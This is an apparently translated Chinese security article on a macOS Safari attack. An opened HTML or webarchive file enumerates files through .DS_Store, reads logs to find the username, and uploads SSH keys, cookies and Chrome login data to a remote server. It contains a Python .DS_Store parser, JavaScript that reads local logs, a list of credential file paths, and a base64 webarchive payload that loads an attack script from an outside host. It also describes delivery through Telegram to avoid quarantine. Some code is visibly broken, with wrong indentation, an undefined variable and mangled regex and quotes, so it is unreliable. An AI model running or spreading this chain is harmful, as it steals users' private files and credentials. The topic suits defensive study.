导语:想象一下这么恐怖的场景:你只是打开了一个很普通的html文档,过了一小会,你的一些机密文件就会在你不知情的情况下出现在别人的硬盘里。

文档、源码、ssh密钥、密码等等所有的这些文件都可以传送过去。不可能吗?当然是可能的。一些常用的浏览器可能正在这样做。

通常情况下,攻击者的攻击流程大致如下:

1. 用户在浏览器中打开html文件
2. 浏览器读取用户有权限访问的文件列表。
3. 浏览器读取重要文件,并且将他们上传到攻击者启动的远程服务器中,这一过程会在后台进行,并且不会通知用户。

现在我们将这一过程分成几个阶段:

阶段一:在当前用户计算机上收集关于文件的信息。
阶段二:读取文件,将文件上传到远程服务器上。

在阶段一中,攻击者需要得到文件列表。这一步骤不是那么容易解决的,通常来讲,开发者不会允许html页面读取文件夹内容,或者获取当前路径。猜测以及尝试所有可能的路径也不是一个好的选择。虽然一些文件的路径是通用的,比如~/.ssh/id_rsa,但是大部分文件在不同系统中存放的位置是不同的。

假设我们已经将第一阶段中的限制绕过,那么在第二阶段攻击者需要对浏览器的沙箱进行逃逸,进而对文件读取,将其上传到远程服务器。

得到目录列表

macOS不同Windows以及Linux,它具有一个很有趣的属性,当目录被访问时,操作系统会产生隐藏文件:.DS_Store.

这一文件会保存文件浏览会话信息,包括浏览文件窗口的大小以及位置,查看属性和所选图标等信息。这一文件是自动生成的,主要目的是为了快速简单的获取到文件夹信息。

.DS_Store和windows下面的Thumbs.db功能类似,不过.DS_Store中还包含了文件夹以及文件名字。一旦文件夹打开,.DS_Store.

0*xyHv9voX6iPDcBCV..png

这就非常有趣了,可以通过解析.DS_Store文件很容易获取到文件夹中文件名字。举个例子,下方python代码就可以做到这一点:

##!/usr/bin/env python
from ds_store import DSStore
import json
path = ‘/Users/USERNAME/.DS_Store’
def parse(file):
    filelist = []
    for i in file:
    if i.filename!=’.’:
        filelist.append(i.filename)
    return list(set(filelist))
d=DSStore.open(path, ‘r+’)
fileresult=parse(d)
print(json.dumps(fileresult))
for name in fileresult:
    try:
        d = DSStore.open(path + name+ ‘/.DS_Store’, ‘r+’)
        fileresult = parse(d)
        all.append(fileresult)
        print(json.dumps(fileresult))
    except:
        pass

将其命名为parse_ds_store.py,执行结果如下:

$ python parse_ds_store.py

[“Documents”, “Pictures”, “.idm”, “Desktop”, “Music”, “.oracle_jre_usage”, “Public”, “tmp”, “Parallels”, “MEGA”, “.BurpSuite”, “Downloads”, “.config”, “.cache”, “Applications”, “.bash_sessions”, “Creative Cloud Files”, “PycharmProjects”, “Applications (Parallels)”, “Dropbox”, “Nextcloud”, “.iterm2”, “.Trash”, “Scripts”, “Movies”, “MEGAsync Downloads”, “Soft”, “.local”, “.ssh”, “Library”, “.pgadmin”]

可以看到,我已经得到我当前目录的文件名,这就意味着,我们可以通过递归访问.DS_Store文件获取我电脑上所有具有权限的文件目录结构。
举个例子,在电脑当前目录使用这种方法,在~/.DS_Store中,我们得到如下返回:

[“Backups","Soft","Pictures",".ssh"...][

然后在Backups文件夹中,我们得到:

[“2017”, “2016”, “2015”, …]

进而在访问~/Backups/2017/.DS_Store,得到

[“source”, “sql”, “static”, …]

以此类推。

有两点需要提醒:
1.攻击者需要知道当前系统的用户名称。
2..DS_Store文件只有当用户有权限访问这一文件夹时,才会创建。

如果解决了上述两个问题,那么我们第一阶段攻击算是成功了。

预测有价值信息的文件路径

什么是有价值的信息呢?首先应该关心的是.ssh文件,他存储了密码加密系统的密钥目录。大致内容如下:

~/.ssh/id_rsa;
~/.ssh/id_rsa.key;
~/.ssh/id_rsa.pub;
~/.ssh/known_hosts;
~/.ssh/authorized_keys;

还有.bash_history,它可以让攻击者知道用户之前执行的命令。

现在,我们开始找存储cookie的文件,首先,macOS会将账户数据放在一个固定地方:

~/Library/Cookies/Cookies.binarycookies
~/Library/Cookies/com.apple.Safari.cookies

twitter,Skype以及其他应用程序的cookie都可以在这一文件夹中找到。

我们进行到这一步时,还可以对返回HSTS协议的网站列表进行传输。

~/Library/Cookies/HSTS.plist

另外一个有用的文件是关于系统账户信息的文件:

~/Library/Accounts/Accounts4.sqlite

我们还可以在列表中查找其他有用的东西,可能会有意外的收获。

~/Library/Application Support/

举个例子,我们还可以进而找到chrome存储的登录数据以及cookie:

~/Library/Application Support/Google/Chrome/Default/Login Data
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Google/Chrome/Default/History

如果运气好的话,还可以找到ftp/sql客户端的登录信息,历史记录,以及日志信息。

悄无声息的访问用户文件

已经了解到了可以访问到哪些重要的文件,现在让我们尝试从safari访问到这些文件吧。

在chrome中,读取本地文件并不是一件很容易的事情,除非在打开chrome中使用--disable-web-security参数。

Safari同样也会警告不能同本地文件一同使用,比如:file://协议

0*qA9D-wI-M88QL9nC..png

但是如果文件是从互联网上下载的,safari就会放宽它的验证机制,因此我们可以使用XHR请求本地文件,进而返回文件内容:

0*C6Pi3EdOhPOnVfk6..png

如果文件存在,那它就会执行成功。
了解了safari这种特性,我们就可以使用绝对路径去读取文件全部信息,然后将其上传到远程服务端。

但是有一点需要注意,如果我们不知道本机用户名,那么我们就无法得到绝对路径。用户名也是一个难题,比如在/etc/passwd中并不包含用户名信息。

要解决这一问题,可以通过查看系统产生的两个日志文件:/var/log/system.log和/var/log/install.log.在这两个文件中,用户名是可以被找到的。将文件加载到浏览器中,通过正则表达式可以对用户名进行提取。

下方JS代码就是从日志文件中提取所有用户名的代码:

function getUser() {
 var xhr = new XMLHttpRequest();
 try {
 xhr.open(‘GET’, ‘/var/log/system.log;/https:%2f%2fgoogle.com/’, false);
 xhr.send();
 return xhr.responseText.match(//Users/w+//g)[0];
 } catch (e) {
 xhr.open(‘GET’, ‘/var/log/install.log;/https:%2f%2fgoogle.com/’, false);
 xhr.send();
 return xhr.responseText.match(//Users/w+//g)[0];
 }
}

得到文件

攻击者通过文章介绍的第一部分内容之后,下一步就是得到这些文件。只是看看它是如何工作的,我们可以创建一个后端进行简单的接收文件内容以及路径。如果文件为.DS_Store,我们可以使用进一步进行补充。

进一步优化的话,可以利用黑/白名单的机制防止上传大文件,或上传指定类型文件,比如.docx。

但是,系统中如果有其他浏览器呢?这会不会意味着html文件会通过chrome或者opera浏览器打开,降低了攻击效率呢?

为了避免这类问题,我们可以将文件后缀名改为XHTM,这一文件只能由safari打开。

XHTM的定义很清晰,是基于XML的JS内置网页。解释起来有点复杂,它有两种支持的格式,每种都可以进行手动伪造:

<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version=”1.0">
<dict>
 <key>WebMainResource</key>
 <dict>
 <key>WebResourceData</key>
 <data>
 PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo
 vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj
 wvYm9keT48L2h0bWw+
 </data>
 <key>WebResourceFrameName</key>
 <string></string>
 <key>WebResourceMIMEType</key>
 <string>text/html</string>
 <key>WebResourceTextEncodingName</key>
 <string>UTF-8</string>
 <key>WebResourceURL</key>
 <string>file:///</string>
 </dict>
</dict>
</plist>

数据为Base64页面,每行包含59个符号

如何解决数据来源问题?

默认情况下,通过互联网下载的文件都具有执行保护:

0*CWIJPPD9jfd4MOvw..png

这就意味着电子邮件中的附件可能不会执行,不过有个好消息是,不是所有的下载文件都具有保护机制。举个例子,MacOS版本的Telegram就没有保护机制,可以直接执行。在一些实践之后,我们通过telegram桌面版本进行传送恶意XHTM,进而解除执行限制。

1*cNZ6YO55fsG5NTh-4IVSEA.png

这只是一个简单例子,其他类似的情况也是可能的。举个例子,你可以通过一个装有家庭照片的U盘进行传播。
如果你想尝试一下这一例子,你可以在我的github(https://github.com/Bo0oM/Safiler)上找到PoC进行实验。

该怎么办?

在这个时候,作为一个Safari用户,你不能做任何事情。显然,苹果不认为这个问题是安全漏洞。我们还没有了解到有补丁来解决这一问题。
所以需要保持警惕,并且非常小心你从互联网上下载的文件。唯一要做的就是不要使用Safari浏览器。

源链接

Hacking more

...